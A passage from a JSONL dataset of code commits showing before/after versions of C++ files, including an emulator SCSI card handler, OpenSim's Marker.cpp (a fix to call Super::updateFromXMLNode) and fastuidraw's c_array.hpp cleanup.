0x400) {\n\t\t\t\tif(is_read) {\n\t\t\t\t\t*value = rom_pointer_[address & 0x3ff];\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif(is_read) {\n\t\t\t\t\t*value = ram_pointer_[address & 0x3ff];\n\t\t\t\t} else {\n\t\t\t\t\tram_pointer_[address & 0x3ff] = *value;\n\t\t\t\t}\n\t\t\t}\n\t\tbreak;\n\t}\n}\n\nvoid SCSICard::set_storage_device(const std::shared_ptr<Storage::MassStorage::MassStorageDevice> &device) {\n\tstorage_->set_storage(device);\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>set g_errno to ENOCOLLREC if getRdbBase() returns null.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/* -------------------------------------------------------------------------- *\n *                            OpenSim:  Marker.cpp                            *\n * -------------------------------------------------------------------------- *\n * The OpenSim API is a toolkit for musculoskeletal modeling and simulation.  *\n * See http:\/\/opensim.stanford.edu and the NOTICE file for more information.  *\n * OpenSim is developed at Stanford University and supported by the US        *\n * National Institutes of Health (U54 GM072970, R24 HD065690) and by DARPA    *\n * through the Warrior Web program.                                           *\n *                                                                            *\n * Copyright (c) 2005-2016 Stanford University and the Authors                *\n * Author(s): Peter Loan                                                      *\n *                                                                            *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may    *\n * not use this file except in compliance with the License. You may obtain a  *\n * copy of the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0.         *\n *                                                                            *\n * Unless required by applicable law or agreed to in writing, software        *\n * distributed under the License is distributed on an \"AS IS\" BASIS,          *\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.   *\n * See the License for the specific language governing permissions and        *\n * limitations under the License.                                             *\n * -------------------------------------------------------------------------- *\/\n\n\/\/=============================================================================\n\/\/ INCLUDES\n\/\/=============================================================================\n#include \"Marker.h\"\n#include \"Model.h\"\n\n\/\/=============================================================================\n\/\/ STATICS\n\/\/=============================================================================\nusing namespace std;\nusing namespace OpenSim;\nusing SimTK::Vec3;\n\n\/\/=============================================================================\n\/\/ CONSTRUCTOR(S) AND DESTRUCTOR\n\/\/=============================================================================\n\/\/_____________________________________________________________________________\n\/**\n * Default constructor.\n *\/\nMarker::Marker() :\nStation()\n{\n\n}\n\n\/\/_____________________________________________________________________________\n\/**\n * Destructor.\n *\/\nMarker::~Marker()\n{\n}\n\n\/\/_____________________________________________________________________________\n\/**\n * Set the data members of this Marker to their null values.\n *\/\nvoid Marker::setNull()\n{\n\n}\n\/\/_____________________________________________________________________________\n\/**\n * Set the 'frame name' field, which is used when the marker is added to\n * an existing model.\n *\n * @param aName name of frame\n *\/\nvoid Marker::setFrameName(const string& aName)\n{\n    const PhysicalFrame* refFrame = dynamic_cast<const PhysicalFrame*>(&getModel().getFrameSet().get(aName));\n    if (refFrame)\n    {\n        setParentFrame(*refFrame);\n    }\n    else\n    {\n        string errorMessage = \"Markers must be fixed to PhysicalFrames. \" + string(aName) + \" is not a PhysicalFrame.\";\n        throw Exception(errorMessage);\n    }\n\n}\n\n\/\/_____________________________________________________________________________\n\/**\n * Get the 'frame name' field, which is used when the marker is added to\n * an existing model.\n *\n * @return aName frame name.\n *\/\nconst string& Marker::getFrameName() const\n{\n    \/\/if (_bodyNameProp.getValueIsDefault())\n    \/\/  return NULL;\n\n    return getParentFrame().getName();\n}\n\n\/\/_____________________________________________________________________________\n\/**\n * Change the PhysicalFrame that this marker is attached to. It assumes that the frame is\n * already set, so that extendConnectToModel() needs to be called to update \n * dependent information.\n *\n * @param aFrame Reference to the PhysicalFrame.\n *\/\nvoid Marker::changeFrame(const OpenSim::PhysicalFrame& aPhysicalFrame)\n{\n\n    if (aPhysicalFrame == getParentFrame())\n        return;\n\n    setFrameName(aPhysicalFrame.getName());\n\n    extendConnectToModel(updModel());\n}\n\n\/\/_____________________________________________________________________________\n\/**\n * Change the PhysicalFrame that this marker is attached to. It assumes that the body is\n * already set, so that extendConnectToModel() needs to be called to update \n * dependent information.\n *\n * @param s State.\n * @param aBody Reference to the PhysicalFrame.\n *\/\nvoid Marker::changeFramePreserveLocation(const SimTK::State& s, OpenSim::PhysicalFrame& aPhysicalFrame)\n{\n\n    if (aPhysicalFrame == getParentFrame())\n        return;\n\n    \/\/ Preserve location means to switch bodies without changing\n    \/\/ the location of the marker in the inertial reference frame.\n    Vec3 newLocation;\n    newLocation = findLocationInFrame(s, aPhysicalFrame);\n    set_location(newLocation);\n\n    setFrameName(aPhysicalFrame.getName());\n    extendConnectToModel(aPhysicalFrame.updModel());\n}\n\n\/\/=============================================================================\n\/\/ SCALING\n\/\/=============================================================================\n\/\/_____________________________________________________________________________\n\/**\n * Scale the marker.\n *\n * @param aScaleFactors XYZ scale factors.\n *\/\nvoid Marker::scale(const SimTK::Vec3& aScaleFactors)\n{\n    upd_location() = get_location().elementwiseMultiply(aScaleFactors);\n}\n\n\/\/_____________________________________________________________________________\n\/**\n* Override default implementation by object to intercept and fix the XML node\n* underneath the Marker to match current version\n*\/\n\/*virtual*\/\nvoid Marker::updateFromXMLNode(SimTK::Xml::Element& aNode, int versionNumber)\n{\n\n    if (versionNumber < XMLDocument::getLatestVersion()){\n        if (versionNumber < 30501) {\n            \/\/ Parse name of Body under <body>node\n            SimTK::Xml::element_iterator bIter = aNode.element_begin(\"body\");\n            SimTK::String bName = bIter->getValue();\n            \/\/ Create nodes for new layout\n            SimTK::Xml::Element connectorsElement(\"connectors\");\n            SimTK::Xml::Element frameElement(\"Connector_PhysicalFrame_\");\n            connectorsElement.insertNodeAfter(connectorsElement.node_end(), frameElement);\n            frameElement.setAttributeValue(\"name\", \"parent_frame\");\n            SimTK::Xml::Element connecteeElement(\"connectee_name\");\n            connecteeElement.setValue(bName);\n            frameElement.insertNodeAfter(frameElement.node_end(), connecteeElement);\n            aNode.insertNodeAfter(bIter, connectorsElement);\n            aNode.eraseNode(bIter);\n        }\n    }\n    \/\/ Call base class now assuming _node has been corrected for current version\n    Object::updateFromXMLNode(aNode, versionNumber);\n}\n\nvoid Marker::generateDecorations(bool fixed, const ModelDisplayHints& hints, const SimTK::State& state,\n    SimTK::Array_<SimTK::DecorativeGeometry>& appendToThis) const\n{\n    Super::generateDecorations(fixed, hints, state, appendToThis);\n    if (!fixed) return;\n    if (hints.get_show_markers()) { \n        \/\/ @TODO default color, size, shape should be obtained from hints\n        const Vec3 pink(1, .6, .8);\n        const OpenSim::PhysicalFrame& frame = getParentFrame();\n        \/\/const Frame& bf = frame.findBaseFrame();\n        \/\/SimTK::Transform bTrans = frame.findTransformInBaseFrame();\n        \/\/const Vec3& p_BM = bTrans*get_location();\n        appendToThis.push_back(\n            SimTK::DecorativeSphere(.005).setBodyId(frame.getMobilizedBodyIndex())\n            .setColor(pink).setOpacity(1.0)\n            .setTransform(get_location()));\n    }\n}\n<commit_msg>Marker Super::updateFromXMLNode().<commit_after>\/* -------------------------------------------------------------------------- *\n *                            OpenSim:  Marker.cpp                            *\n * -------------------------------------------------------------------------- *\n * The OpenSim API is a toolkit for musculoskeletal modeling and simulation.  *\n * See http:\/\/opensim.stanford.edu and the NOTICE file for more information.  *\n * OpenSim is developed at Stanford University and supported by the US        *\n * National Institutes of Health (U54 GM072970, R24 HD065690) and by DARPA    *\n * through the Warrior Web program.                                           *\n *                                                                            *\n * Copyright (c) 2005-2016 Stanford University and the Authors                *\n * Author(s): Peter Loan                                                      *\n *                                                                            *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may    *\n * not use this file except in compliance with the License. You may obtain a  *\n * copy of the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0.         *\n *                                                                            *\n * Unless required by applicable law or agreed to in writing, software        *\n * distributed under the License is distributed on an \"AS IS\" BASIS,          *\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.   *\n * See the License for the specific language governing permissions and        *\n * limitations under the License.                                             *\n * -------------------------------------------------------------------------- *\/\n\n\/\/=============================================================================\n\/\/ INCLUDES\n\/\/=============================================================================\n#include \"Marker.h\"\n#include \"Model.h\"\n\n\/\/=============================================================================\n\/\/ STATICS\n\/\/=============================================================================\nusing namespace std;\nusing namespace OpenSim;\nusing SimTK::Vec3;\n\n\/\/=============================================================================\n\/\/ CONSTRUCTOR(S) AND DESTRUCTOR\n\/\/=============================================================================\n\/\/_____________________________________________________________________________\n\/**\n * Default constructor.\n *\/\nMarker::Marker() :\nStation()\n{\n\n}\n\n\/\/_____________________________________________________________________________\n\/**\n * Destructor.\n *\/\nMarker::~Marker()\n{\n}\n\n\/\/_____________________________________________________________________________\n\/**\n * Set the data members of this Marker to their null values.\n *\/\nvoid Marker::setNull()\n{\n\n}\n\/\/_____________________________________________________________________________\n\/**\n * Set the 'frame name' field, which is used when the marker is added to\n * an existing model.\n *\n * @param aName name of frame\n *\/\nvoid Marker::setFrameName(const string& aName)\n{\n    const PhysicalFrame* refFrame = dynamic_cast<const PhysicalFrame*>(&getModel().getFrameSet().get(aName));\n    if (refFrame)\n    {\n        setParentFrame(*refFrame);\n    }\n    else\n    {\n        string errorMessage = \"Markers must be fixed to PhysicalFrames. \" + string(aName) + \" is not a PhysicalFrame.\";\n        throw Exception(errorMessage);\n    }\n\n}\n\n\/\/_____________________________________________________________________________\n\/**\n * Get the 'frame name' field, which is used when the marker is added to\n * an existing model.\n *\n * @return aName frame name.\n *\/\nconst string& Marker::getFrameName() const\n{\n    \/\/if (_bodyNameProp.getValueIsDefault())\n    \/\/  return NULL;\n\n    return getParentFrame().getName();\n}\n\n\/\/_____________________________________________________________________________\n\/**\n * Change the PhysicalFrame that this marker is attached to. It assumes that the frame is\n * already set, so that extendConnectToModel() needs to be called to update \n * dependent information.\n *\n * @param aFrame Reference to the PhysicalFrame.\n *\/\nvoid Marker::changeFrame(const OpenSim::PhysicalFrame& aPhysicalFrame)\n{\n\n    if (aPhysicalFrame == getParentFrame())\n        return;\n\n    setFrameName(aPhysicalFrame.getName());\n\n    extendConnectToModel(updModel());\n}\n\n\/\/_____________________________________________________________________________\n\/**\n * Change the PhysicalFrame that this marker is attached to. It assumes that the body is\n * already set, so that extendConnectToModel() needs to be called to update \n * dependent information.\n *\n * @param s State.\n * @param aBody Reference to the PhysicalFrame.\n *\/\nvoid Marker::changeFramePreserveLocation(const SimTK::State& s, OpenSim::PhysicalFrame& aPhysicalFrame)\n{\n\n    if (aPhysicalFrame == getParentFrame())\n        return;\n\n    \/\/ Preserve location means to switch bodies without changing\n    \/\/ the location of the marker in the inertial reference frame.\n    Vec3 newLocation;\n    newLocation = findLocationInFrame(s, aPhysicalFrame);\n    set_location(newLocation);\n\n    setFrameName(aPhysicalFrame.getName());\n    extendConnectToModel(aPhysicalFrame.updModel());\n}\n\n\/\/=============================================================================\n\/\/ SCALING\n\/\/=============================================================================\n\/\/_____________________________________________________________________________\n\/**\n * Scale the marker.\n *\n * @param aScaleFactors XYZ scale factors.\n *\/\nvoid Marker::scale(const SimTK::Vec3& aScaleFactors)\n{\n    upd_location() = get_location().elementwiseMultiply(aScaleFactors);\n}\n\n\/\/_____________________________________________________________________________\n\/**\n* Override default implementation by object to intercept and fix the XML node\n* underneath the Marker to match current version\n*\/\n\/*virtual*\/\nvoid Marker::updateFromXMLNode(SimTK::Xml::Element& aNode, int versionNumber)\n{\n\n    if (versionNumber < XMLDocument::getLatestVersion()){\n        if (versionNumber < 30501) {\n            \/\/ Parse name of Body under <body>node\n            SimTK::Xml::element_iterator bIter = aNode.element_begin(\"body\");\n            SimTK::String bName = bIter->getValue();\n            \/\/ Create nodes for new layout\n            SimTK::Xml::Element connectorsElement(\"connectors\");\n            SimTK::Xml::Element frameElement(\"Connector_PhysicalFrame_\");\n            connectorsElement.insertNodeAfter(connectorsElement.node_end(), frameElement);\n            frameElement.setAttributeValue(\"name\", \"parent_frame\");\n            SimTK::Xml::Element connecteeElement(\"connectee_name\");\n            connecteeElement.setValue(bName);\n            frameElement.insertNodeAfter(frameElement.node_end(), connecteeElement);\n            aNode.insertNodeAfter(bIter, connectorsElement);\n            aNode.eraseNode(bIter);\n        }\n    }\n    \/\/ Call base class now assuming _node has been corrected for current version\n    Super::updateFromXMLNode(aNode, versionNumber);\n}\n\nvoid Marker::generateDecorations(bool fixed, const ModelDisplayHints& hints, const SimTK::State& state,\n    SimTK::Array_<SimTK::DecorativeGeometry>& appendToThis) const\n{\n    Super::generateDecorations(fixed, hints, state, appendToThis);\n    if (!fixed) return;\n    if (hints.get_show_markers()) { \n        \/\/ @TODO default color, size, shape should be obtained from hints\n        const Vec3 pink(1, .6, .8);\n        const OpenSim::PhysicalFrame& frame = getParentFrame();\n        \/\/const Frame& bf = frame.findBaseFrame();\n        \/\/SimTK::Transform bTrans = frame.findTransformInBaseFrame();\n        \/\/const Vec3& p_BM = bTrans*get_location();\n        appendToThis.push_back(\n            SimTK::DecorativeSphere(.005).setBodyId(frame.getMobilizedBodyIndex())\n            .setColor(pink).setOpacity(1.0)\n            .setTransform(get_location()));\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*!\n * \\file c_array.hpp\n * \\brief file c_array.hpp\n *\n * Adapted from: c_array.hpp of WRATH:\n *\n * Copyright 2013 by Nomovok Ltd.\n * Contact: info@nomovok.com\n * This Source Code Form is subject to the\n * terms of the Mozilla Public License, v. 2.0.\n * If a copy of the MPL was not distributed with\n * this file, You can obtain one at\n * http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * \\author Kevin Rogovin <kevin.rogovin@nomovok.com>\n * \\author Kevin Rogovin <kevin.rogovin@intel.com>\n *\n *\/\n\n\n#pragma once\n\n#include <iterator>\n#include <fastuidraw\/util\/util.hpp>\n#include <fastuidraw\/util\/vecN.hpp>\n\nnamespace fastuidraw\n{\n\n\/*!\\addtogroup Utility\n  @{\n *\/\n\n\/*!\n  \\brief\n  A c_array is a wrapper over a\n  C pointer with a size parameter\n  to facilitate bounds checking\n  and provide an STL-like iterator\n  interface.\n *\/\ntemplate<typename T>\nclass c_array\n{\npublic:\n\n  \/*!\n    \\brief\n    STL compliant typedef\n  *\/\n  typedef T* pointer;\n\n  \/*!\n    \\brief\n    STL compliant typedef; notice that const_pointer\n    is type T* and not const T*. This is because\n    a c_array is just a HOLDER of a pointer and\n    a length and thus the contents of the value\n    behind the pointer are independent to the\n    value of a c_array.\n  *\/\n  typedef T* const_pointer;\n\n  \/*!\n    \\brief\n    STL compliant typedef\n  *\/\n  typedef T& reference;\n\n  \/*!\n    \\brief\n    STL compliant typedef; notice that const_pointer\n    is type T& and not const T&. This is because\n    a c_array is just a HOLDER of a pointer and\n    a length and thus the contents of the value\n    behind the pointer are independent to the\n    value of a c_array.\n  *\/\n  typedef T& const_reference;\n\n  \/*!\n    \\brief\n    STL compliant typedef\n  *\/\n  typedef T value_type;\n\n  \/*!\n    \\brief\n    STL compliant typedef\n  *\/\n  typedef size_t size_type;\n\n  \/*!\n    \\brief\n    STL compliant typedef\n  *\/\n  typedef ptrdiff_t difference_type;\n\n  \/*!\n    \\brief\n    iterator typedef to pointer\n   *\/\n  typedef pointer iterator;\n\n  \/*!\n    \\brief\n    iterator typedef to const_pointer\n   *\/\n  typedef const_pointer const_iterator;\n\n  \/*!\n    \\brief\n    iterator typedef using std::reverse_iterator.\n   *\/\n  typedef std::reverse_iterator<const_iterator>  const_reverse_iterator;\n\n  \/*!\n    \\brief\n    iterator typedef using std::reverse_iterator.\n   *\/\n  typedef std::reverse_iterator<iterator>        reverse_iterator;\n\n  \/*!\n    Default ctor, initializing the pointer as nullptr\n    with size 0.\n   *\/\n  c_array(void):\n    m_size(0),\n    m_ptr(nullptr)\n  {}\n\n  \/*!\n    Ctor initializing the pointer and size\n    \\param pptr pointer value\n    \\param sz size, must be no more than the number of elements that pptr points to.\n   *\/\n  template<typename U>\n  c_array(U *pptr, size_type sz):\n    m_size(sz),\n    m_ptr(pptr)\n  {\n    FASTUIDRAWstatic_assert(sizeof(U) == sizeof(T));\n  }\n\n  \/*!\n    Ctor from a vecN, size is the size of the fixed size array\n    \\param pptr fixed size array that c_array references, must be\n                in scope as until c_array is changed\n   *\/\n  template<typename U, size_type N>\n  c_array(vecN<U, N> &pptr):\n    m_size(N),\n    m_ptr(pptr.c_ptr())\n  {\n    FASTUIDRAWstatic_assert(sizeof(U) == sizeof(T));\n  }\n\n  \/*!\n    Ctor from a vecN, size is the size of the fixed size array\n    \\param pptr fixed size array that c_array references, must be\n                in scope as until c_array is changed\n   *\/\n  template<typename U, size_type N>\n  c_array(const vecN<U, N> &pptr):\n    m_size(N),\n    m_ptr(pptr.c_ptr())\n  {\n    FASTUIDRAWstatic_assert(sizeof(U) == sizeof(T));\n  }\n\n  \/*\n    Ctor from another c_array object.\n    \\tparam U type U* must be convertible to type T* AND\n              the size of U must be the same as the size\n              of T\n    \\param obj value from which to copy\n   *\/\n  template<typename U>\n  c_array(const c_array<U> &obj):\n    m_size(obj.m_size),\n    m_ptr(obj.m_ptr)\n  {\n    FASTUIDRAWstatic_assert(sizeof(U) == sizeof(T));\n  }\n\n  \/*!\n    Ctor from a range of pointers.\n    \\param R R.m_begin will be the pointer and R.m_end - R.m_begin the size.\n   *\/\n  c_array(range_type<iterator> R):\n    m_size(R.m_end - R.m_begin),\n    m_ptr((m_size > 0) ? &*R.m_begin : nullptr)\n  {}\n\n  \/*!\n    Reinterpret style cast for c_array. It is required\n    that the sizeof(T)*size() evenly divides sizeof(S).\n    \\tparam S type to which to be reinterpreted casted\n   *\/\n  template<typename S>\n  c_array<S>\n  reinterpret_pointer(void) const\n  {\n    S *ptr;\n    size_type num_bytes(size() * sizeof(T));\n    FASTUIDRAWassert(num_bytes % sizeof(S) == 0);\n    ptr = reinterpret_cast<S*>(c_ptr());\n    return c_array<S>(ptr, num_bytes \/ sizeof(S));\n  }\n\n  \/*!\n    Const style cast for c_array. It is required\n    that the sizeof(T) is the same as sizeof(S).\n    \\tparam S type to which to be const casted\n   *\/\n  template<typename S>\n  c_array<S>\n  const_cast_pointer(void) const\n  {\n    S *ptr;\n    FASTUIDRAWstatic_assert(sizeof(S) == sizeof(T));\n    ptr = const_cast<S*>(c_ptr());\n    return c_array<S>(ptr, m_size);\n  }\n\n  \/*!\n    Pointer of the c_array.\n   *\/\n  T*\n  c_ptr(void) const\n  {\n    return m_ptr;\n  }\n\n  \/*!\n    Pointer to the element one past\n    the last element of the c_array.\n   *\/\n  T*\n  end_c_ptr(void) const\n  {\n    return m_ptr + m_size;\n  }\n\n  \/*!\n    Access named element of c_array, under\n    debug build also performs bounds checking.\n    \\param j index\n   *\/\n  T&\n  operator[](size_type j) const\n  {\n    FASTUIDRAWassert(c_ptr() != nullptr);\n    FASTUIDRAWassert(j < m_size);\n    return c_ptr()[j];\n  }\n\n  \/*!\n    STL compliant function.\n   *\/\n  bool\n  empty(void) const\n  {\n    return m_size == 0;\n  }\n\n  \/*!\n    STL compliant function.\n   *\/\n  size_type\n  size(void) const\n  {\n    return m_size;\n  }\n\n  \/*!\n    STL compliant function.\n   *\/\n  iterator\n  begin(void) const\n  {\n    return iterator(c_ptr());\n  }\n\n  \/*!\n    STL compliant function.\n   *\/\n  iterator\n  end(void) const\n  {\n    return iterator(c_ptr() + static_cast<difference_type>(size()));\n  }\n\n  \/*!\n    STL compliant function.\n   *\/\n  reverse_iterator\n  rbegin(void) const\n  {\n    return reverse_iterator(end());\n  }\n\n  \/*!\n    STL compliant function.\n   *\/\n  reverse_iterator\n  rend(void) const\n  {\n    return reverse_iterator(begin());\n  }\n\n  \/*!\n    Returns the range of the c_array as an\n    iterator range.\n   *\/\n  range_type<iterator>\n  range(void)\n  {\n    return range_type<iterator>(begin(), end());\n  }\n\n  \/*!\n    Returns the range of the c_array as a\n    reverse_iterator range\n   *\/\n  range_type<reverse_iterator>\n  reverse_range(void)\n  {\n    return range_type<reverse_iterator>(rbegin(), rend());\n  }\n\n  \/*!\n    Equivalent to\n    \\code\n    operator[](size()-1-I)\n    \\endcode\n    \\param I index from the back to retrieve, I=0\n             corrseponds to the back of the array.\n   *\/\n  T&\n  back(size_type I) const\n  {\n    FASTUIDRAWassert(I < size());\n    return (*this)[size() - 1 - I];\n  }\n\n  \/*!\n    STL compliant function.\n   *\/\n  T&\n  back(void) const\n  {\n    return (*this)[size() - 1];\n  }\n\n  \/*!\n    STL compliant function.\n   *\/\n  T&\n  front(void) const\n  {\n    return (*this)[0];\n  }\n\n  \/*!\n    Returns a sub-array\n    \\param pos position of returned sub-array to start,\n               i.e. returned c_array's c_ptr() will return\n               this->c_ptr()+pos. It is an error if pos\n               is negative.\n    \\param length length of sub array to return, note\n                  that it is an error if length+pos>size()\n                  or if length is negative.\n   *\/\n  c_array\n  sub_array(size_type pos, size_type length) const\n  {\n    FASTUIDRAWassert(pos + length <= m_size);\n    return c_array(m_ptr + pos, length);\n  }\n\n  \/*!\n    Returns a sub-array, equivalent to\n    \\code\n    sub_array(pos, size() - pos)\n    \\endcode\n    \\param pos position of returned sub-array to start,\n               i.e. returned c_array's c_ptr() will return\n               this->c_ptr() + pos. It is an error is pos\n               is negative.\n   *\/\n  c_array\n  sub_array(size_type pos) const\n  {\n    FASTUIDRAWassert(pos <= m_size);\n    return c_array(m_ptr + pos, m_size - pos);\n  }\n\n  \/*!\n    Returns a sub-array, equivalent to\n    \\code\n    sub_array(R.m_begin, R.m_end - R.m_begin)\n    \\endcode\n    \\tparam I type convertible to size_type\n    \\param R range of returned sub-array\n   *\/\n  template<typename I>\n  c_array\n  sub_array(range_type<I> R) const\n  {\n    return sub_array(R.m_begin, R.m_end - R.m_begin);\n  }\n\n  \/*!\n    Returns true if and only if the passed\n    the c_array references exactly the same\n    data as this c_array.\n    \\param rhs c_array to which to compare\n   *\/\n  template<typename U>\n  bool\n  same_data(const c_array<U> &rhs) const\n  {\n    return m_size == rhs.m_size\n      and m_ptr == rhs.m_ptr;\n  }\n\nprivate:\n  template<typename>\n  friend class c_array;\n\n  size_type m_size;\n  T *m_ptr;\n};\n\n\n\/*! @} *\/\n\n} \/\/namespace\n<commit_msg>fastuidraw\/util: c_array cleanups<commit_after>\/*!\n * \\file c_array.hpp\n * \\brief file c_array.hpp\n *\n * Adapted from: c_array.hpp of WRATH:\n *\n * Copyright 2013 by Nomovok Ltd.\n * Contact: info@nomovok.com\n * This Source Code Form is subject to the\n * terms of the Mozilla Public License, v. 2.0.\n * If a copy of the MPL was not distributed with\n * this file, You can obtain one at\n * http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * \\author Kevin Rogovin <kevin.rogovin@nomovok.com>\n * \\author Kevin Rogovin <kevin.rogovin@intel.com>\n *\n *\/\n\n\n#pragma once\n\n#include <iterator>\n#include <fastuidraw\/util\/util.hpp>\n#include <fastuidraw\/util\/vecN.hpp>\n\nnamespace fastuidraw\n{\n\n\/*!\\addtogroup Utility\n  @{\n *\/\n\n\/*!\n  \\brief\n  A c_array is a wrapper over a\n  C pointer with a size parameter\n  to facilitate bounds checking\n  and provide an STL-like iterator\n  interface.\n *\/\ntemplate<typename T>\nclass c_array\n{\npublic:\n\n  \/*!\n    \\brief\n    STL compliant typedef\n  *\/\n  typedef T* pointer;\n\n  \/*!\n    \\brief\n    STL compliant typedef; notice that const_pointer\n    is type T* and not const T*. This is because\n    a c_array is just a HOLDER of a pointer and\n    a length and thus the contents of the value\n    behind the pointer are not part of the value\n    of a c_array.\n  *\/\n  typedef T* const_pointer;\n\n  \/*!\n    \\brief\n    STL compliant typedef\n  *\/\n  typedef T& reference;\n\n  \/*!\n    \\brief\n    STL compliant typedef; notice that const_pointer\n    is type T& and not const T&. This is because\n    a c_array is just a HOLDER of a pointer and\n    a length and thus the contents of the value\n    behind the pointer are not part of the value\n    of a c_array.\n  *\/\n  typedef T& const_reference;\n\n  \/*!\n    \\brief\n    STL compliant typedef\n  *\/\n  typedef T value_type;\n\n  \/*!\n    \\brief\n    STL compliant typedef\n  *\/\n  typedef size_t size_type;\n\n  \/*!\n    \\brief\n    STL compliant typedef\n  *\/\n  typedef ptrdiff_t difference_type;\n\n  \/*!\n    \\brief\n    iterator typedef to pointer\n   *\/\n  typedef pointer iterator;\n\n  \/*!\n    \\brief\n    iterator typedef to const_pointer\n   *\/\n  typedef const_pointer const_iterator;\n\n  \/*!\n    \\brief\n    iterator typedef using std::reverse_iterator.\n   *\/\n  typedef std::reverse_iterator<const_iterator>  const_reverse_iterator;\n\n  \/*!\n    \\brief\n    iterator typedef using std::reverse_iterator.\n   *\/\n  typedef std::reverse_iterator<iterator>        reverse_iterator;\n\n  \/*!\n    Default ctor, initializing the pointer as nullptr\n    with size 0.\n   *\/\n  c_array(void):\n    m_size(0),\n    m_ptr(nullptr)\n  {}\n\n  \/*!\n    Ctor initializing the pointer and size\n    \\param pptr pointer value\n    \\param sz size, must be no more than the number of elements that pptr points to.\n   *\/\n  template<typename U>\n  c_array(U *pptr, size_type sz):\n    m_size(sz),\n    m_ptr(pptr)\n  {\n    FASTUIDRAWstatic_assert(sizeof(U) == sizeof(T));\n  }\n\n  \/*!\n    Ctor from a vecN, size is the size of the fixed size array\n    \\param pptr fixed size array that c_array references, must be\n                in scope as until c_array is changed\n   *\/\n  template<typename U, size_type N>\n  c_array(vecN<U, N> &pptr):\n    m_size(N),\n    m_ptr(pptr.c_ptr())\n  {\n    FASTUIDRAWstatic_assert(sizeof(U) == sizeof(T));\n  }\n\n  \/*!\n    Ctor from a vecN, size is the size of the fixed size array\n    \\param pptr fixed size array that c_array references, must be\n                in scope as until c_array is changed\n   *\/\n  template<typename U, size_type N>\n  c_array(const vecN<U, N> &pptr):\n    m_size(N),\n    m_ptr(pptr.c_ptr())\n  {\n    FASTUIDRAWstatic_assert(sizeof(U) == sizeof(T));\n  }\n\n  \/*\n    Ctor from another c_array object.\n    \\tparam U type U* must be convertible to type T* AND\n              the size of U must be the same as the size\n              of T\n    \\param obj value from which to copy\n   *\/\n  template<typename U>\n  c_array(const c_array<U> &obj):\n    m_size(obj.m_size),\n    m_ptr(obj.m_ptr)\n  {\n    FASTUIDRAWstatic_assert(sizeof(U) == sizeof(T));\n  }\n\n  \/*!\n    Ctor from a range of pointers.\n    \\param R R.m_begin will be the pointer and R.m_end - R.m_begin the size.\n   *\/\n  c_array(range_type<iterator> R):\n    m_size(R.m_end - R.m_begin),\n    m_ptr((m_size > 0) ? &*R.m_begin : nullptr)\n  {}\n\n  \/*!\n    Reinterpret style cast for c_array. It is required\n    that the sizeof(T)*size() evenly divides sizeof(S).\n    \\tparam S type to which to be reinterpreted casted\n   *\/\n  template<typename S>\n  c_array<S>\n  reinterpret_pointer(void) const\n  {\n    S *ptr;\n    size_type num_bytes(size() * sizeof(T));\n    FASTUIDRAWassert(num_bytes % sizeof(S) == 0);\n    ptr = reinterpret_cast<S*>(c_ptr());\n    return c_array<S>(ptr, num_bytes \/ sizeof(S));\n  }\n\n  \/*!\n    Const style cast for c_array. It is required\n    that the sizeof(T) is the same as sizeof(S).\n    \\tparam S type to which to be const casted\n   *\/\n  template<typename S>\n  c_array<S>\n  const_cast_pointer(void) const\n  {\n    S *ptr;\n    FASTUIDRAWstatic_assert(sizeof(S) == sizeof(T));\n    ptr = const_cast<S*>(c_ptr());\n    return c_array<S>(ptr, m_size);\n  }\n\n  \/*!\n    Pointer of the c_array.\n   *\/\n  T*\n  c_ptr(void) const\n  {\n    return m_ptr;\n  }\n\n  \/*!\n    Pointer to the element one past\n    the last element of the c_array.\n   *\/\n  T*\n  end_c_ptr(void) const\n  {\n    return m_ptr + m_size;\n  }\n\n  \/*!\n    Access named element of c_array, under\n    debug build also performs bounds checking.\n    \\param j index\n   *\/\n  reference\n  operator[](size_type j) const\n  {\n    FASTUIDRAWassert(c_ptr() != nullptr);\n    FASTUIDRAWassert(j < m_size);\n    return c_ptr()[j];\n  }\n\n  \/*!\n    STL compliant function.\n   *\/\n  bool\n  empty(void) const\n  {\n    return m_size == 0;\n  }\n\n  \/*!\n    STL compliant function.\n   *\/\n  size_type\n  size(void) const\n  {\n    return m_size;\n  }\n\n  \/*!\n    STL compliant function.\n   *\/\n  iterator\n  begin(void) const\n  {\n    return iterator(c_ptr());\n  }\n\n  \/*!\n    STL compliant function.\n   *\/\n  iterator\n  end(void) const\n  {\n    return iterator(c_ptr() + static_cast<difference_type>(size()));\n  }\n\n  \/*!\n    STL compliant function.\n   *\/\n  reverse_iterator\n  rbegin(void) const\n  {\n    return reverse_iterator(end());\n  }\n\n  \/*!\n    STL compliant function.\n   *\/\n  reverse_iterator\n  rend(void) const\n  {\n    return reverse_iterator(begin());\n  }\n\n  \/*!\n    Returns the range of the c_array as an\n    iterator range.\n   *\/\n  range_type<iterator>\n  range(void) const\n  {\n    return range_type<iterator>(begin(), end());\n  }\n\n  \/*!\n    Returns the range of the c_array as a\n    reverse_iterator range\n   *\/\n  range_type<reverse_iterator>\n  reverse_range(void) const\n  {\n    return range_type<reverse_iterator>(rbegin(), rend());\n  }\n\n  \/*!\n    Equivalent to\n    \\code\n    operator[](size()-1-I)\n    \\endcode\n    \\param I index from the back to retrieve, I=0\n             corrseponds to the back of the array.\n   *\/\n  reference\n  back(size_type I) const\n  {\n    FASTUIDRAWassert(I < size());\n    return (*this)[size() - 1 - I];\n  }\n\n  \/*!\n    STL compliant function.\n   *\/\n  reference\n  back(void) const\n  {\n    return (*this)[size() - 1];\n  }\n\n  \/*!\n    STL compliant function.\n   *\/\n  reference\n  front(void) const\n  {\n    return (*this)[0];\n  }\n\n  \/*!\n    Returns a sub-array\n    \\param pos position of returned sub-array to start,\n               i.e. returned c_array's c_ptr() will return\n               this->c_ptr()+pos. It is an error if pos\n               is negative.\n    \\param length length of sub array to return, note\n                  that it is an error if length+pos>size()\n                  or if length is negative.\n 